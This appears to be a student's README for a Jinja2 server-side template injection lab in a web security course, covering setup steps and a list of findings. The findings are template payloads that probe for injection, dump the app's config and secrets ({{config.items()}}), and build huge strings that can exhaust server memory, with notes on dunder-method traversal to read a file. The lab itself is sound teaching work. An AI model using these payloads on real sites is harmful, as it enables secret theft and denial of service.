Jinja2-ExploitMe

[BEW 2.3: Web Security] Clone this repo to begin the SSTI exploit activity.

Attacking Server-Side Rendered Templates

1. Create a new GitHub repo and name it Jinja2-ExploitMe
2. Clone the Make-School-Labs/Jinja2-ExploitMe repository
3. Run git remote rm origin in your local copy
4. Replace it using your new GitHub URL: git remote add origin https://github.com/YOUR_USERNAME/YOUR_REPO_NAME
5. Run export FLASK_ENV=development; flask run to get started!

Findings

➗ Basic Math

• {{8*4}}
• {{2**3}}

🔢 Multiplying a String of Numbers

• {{3*4|string}}
• {{4|string*3}}
• {{4*[0]|join()}}
• {{[0]|join()*7}}
• {{[0]|join()*8**8}}
• {{[0]|join()*9**9}}

🔡 Multiplying a String of Words

• {{4*[0]|join()}}
• {{4*["word"]|join()}}

Get hack.txt

• take a look at dylan's repo and deconstruct
  • use two parameters
  • access config.items()
  • .__class__ etc
  • dunder methods
  • structure to python

💭 Other

• {{config}}
• {{config.items()}}
• {{self}}
• {{einviron}}